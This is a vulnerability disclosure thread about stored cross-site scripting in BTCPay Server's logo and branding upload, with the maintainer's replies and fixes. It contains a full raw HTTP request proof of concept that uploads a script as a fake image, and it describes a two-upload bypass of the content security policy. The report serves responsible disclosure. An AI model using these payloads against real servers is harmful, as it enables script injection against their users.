Stored XSS in server settings when upload branding in btcpayserver/btcpayserver
Reported on
Feb 9th 2023
Description
An attacker can upload an arbitrary file with a content type starting with image/
Proof of Concept
POST /server/theme HTTP/1.1
Host: localhost:14142
Content-Length: 1077
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:14142
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7B3TjVfqHc3bC21r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:14142/server/theme
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: menu_contracted=false; log_download_started=false; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; COMPANY_ID=20099; ID=46704e79486b2f715a4d5755434c326e58775a4633513d3d; LOGIN=74657374406c6966657261792e636f6d; PASSWORD=30333634334d58675a447a464c586b6c6c65456255673d3d; REMEMBER_ME=true; SCREEN_NAME=30333634334d58675a447a464c586b6c6c65456255673d3d; sb_home_information=collapsed; sb_home_search=collapsed; .AspNetCore.Antiforgery.Mk-_zf2J-V0=CfDJ8FYjqZus8c1BpOCabvuhWm_UXed-8qmmXExxzI9tt6xA7c17hR82Tr24eUQdE2wOcmgNYsuW_O2c_tpFaQEaNUqkp8l7xcqbrGxzSNg03om-jJQ1Fsd-YhBnYNlzlOl92oM5-WzFRCbeM2ewDsZspsE; .AspNetCore.Identity.Application=CfDJ8FYjqZus8c1BpOCabvuhWm_gHTL0gTKsyWt4ZeCOAmSXr42Dbb-WmpInCepneZGYvTJmiMlr18f0vsSCiEurBL02QP2NxSv7ZqHdAxUF7CnZYJ4Qics0aIwfqzT-cF6jljTRJI9jAqWmv7judspo8OBIWYGigi8Ho2kuBPO81dO5lUrbK_yQa94Qmh-eTYv-xO6I2n5rD0AWRRSNYmMqzd4Dh9qaYAOGqkXNqCL2CGQhIMkfPliZ3e29TFfIMtDew7zJQkLgbbKA_gYMXPsiIfR2THL-zBPyHARpXtzc5_oNu0ggNxxkE-lk45TIErcnEMu1-vQ8EuI0XVIFvVnFwSAkFhq2YhXL1K9LqUhgjYCIB1WCtpatxgt62Kfy-4z1bs0Bd2QDwtPFhww7HmTKyPlykfg5WhWuG4tq_Dy9L14lgkIEhzzOvgPIH-c-kZWG5Tn1pWEudWw4oyy1zLa_oLOeE-jIXxz6O6XsaXVwCrffOEovPzE_JCFR6R8M9Nr8kqG-2BxdXwJGaGj30DkTF3lJaUU9OYrTy6wieLFAVwU9FDkR-dc2IG-tulUQIx7GlPMPs-aOWIlQK8uPrPHX1L4Jjct2XBUvo6Dm87ReI0UPMSRZhvDjISF7Wc0B72ydaqGBxsPlTU4ikjFE7crqC5qqdAT0DMn4cxlkMQ89eZoj3kYc_zZL-xlxQm7LtcUEGMKv5ISBztdQY612yf_ro4pVAHSSZX57UhQkUKXsUQcdnUGjKZ1NrUZ2xqOF7nEFIg3vI7ETIoqgROOt8Tek1fJwbDZxFgEXSZYPSQl7DNV4bbkfOV9Fhh0_QZ_8CCz4kw
Connection: close
------WebKitFormBoundary7B3TjVfqHc3bC21r
Content-Disposition: form-data; name="CustomTheme"
true
------WebKitFormBoundary7B3TjVfqHc3bC21r
Content-Disposition: form-data; name="CustomThemeExtension"
Dark
------WebKitFormBoundary7B3TjVfqHc3bC21r
Content-Disposition: form-data; name="CustomThemeFile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundary7B3TjVfqHc3bC21r
Content-Disposition: form-data; name="LogoFile"; filename="a.html"
Content-Type: image/xxx
<script>alert(document.domain)</script>
------WebKitFormBoundary7B3TjVfqHc3bC21r
Content-Disposition: form-data; name="command"
Save
------WebKitFormBoundary7B3TjVfqHc3bC21r
Content-Disposition: form-data; name="__RequestVerificationToken"
CfDJ8FYjqZus8c1BpOCabvuhWm_gKPJxGrBKKjuWI42lnbgQmh1HGbs5ranbQe99no80iSIrzOKF66uxiWhgUgt9NAdVXFflY2juURNE0TsfJbtyVJ6EE9aD6kRjF0NJUZAQa0KYpFW4ROcZxhtzGt7sahy5RtMgF4y7J1m3Jp7RrWz69JjuGph4c3XOX2Rtj2l98A
------WebKitFormBoundary7B3TjVfqHc3bC21r
Content-Disposition: form-data; name="CustomTheme"
false
------WebKitFormBoundary7B3TjVfqHc3bC21r--
Impact
Execute javascript code in browser victim
Which version are you doing this? This should have been fixed 3 days ago, and has been already reported
Can you try to do that on https://mainnet.demo.btcpayserver.org/
And give me a link to the file executing the JS?
@Nicolas Dorier I tested on the 1.7.5 version, but I see the code in the new version is still the same
@Nicolas Dorier this feature exists with an admin user. This link https://mainnet.demo.btcpayserver.org/
I can not create an admin user
It was fixed in 1.7.6 with CSP https://github.com/btcpayserver/btcpayserver/pull/4567
You don't need to be admin user, you can create a store and in "Branding" upload any file.
@Nicolas Dorier this link has xss :)))
https://mainnet.demo.btcpayserver.org/LocalStorage/c52dc26e-0d3f-450d-984c-6b6e92e7887d-vcl2.html I can bypass csp
Step1: Upload 1 file js to the server via upload logo Step2: Upload 1 file js again, in this file has an src attribute equal URL of step 1, so i can bypass csp
@Nicolas Dorier my poc for bypass csp: https://drive.google.com/file/d/1GxIKFuNK2Zq1In9nf5KzRcVotfG5PuNm/view?usp=sharing
@d47sec the link https://mainnet.demo.btcpayserver.org/LocalStorage/c52dc26e-0d3f-450d-984c-6b6e92e7887d-vcl2.html is HTTP 404, are you sure you give the right url?
Ok your URL was incorrect, I manually copied what you show in the video and I confirm the allert show up.
I will apply a stricter CSP for files uploaded in LocalStorage.
@maintainer you should check the extension of the uploaded file. For uploading image files, you should check if the signature of the file is an image file, here you only check the content-type header and this can be easily bypassed by the attacker. You can read more here: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
https://github.com/btcpayserver/btcpayserver/pull/4629
Checking if a file is really an image isn't easy though.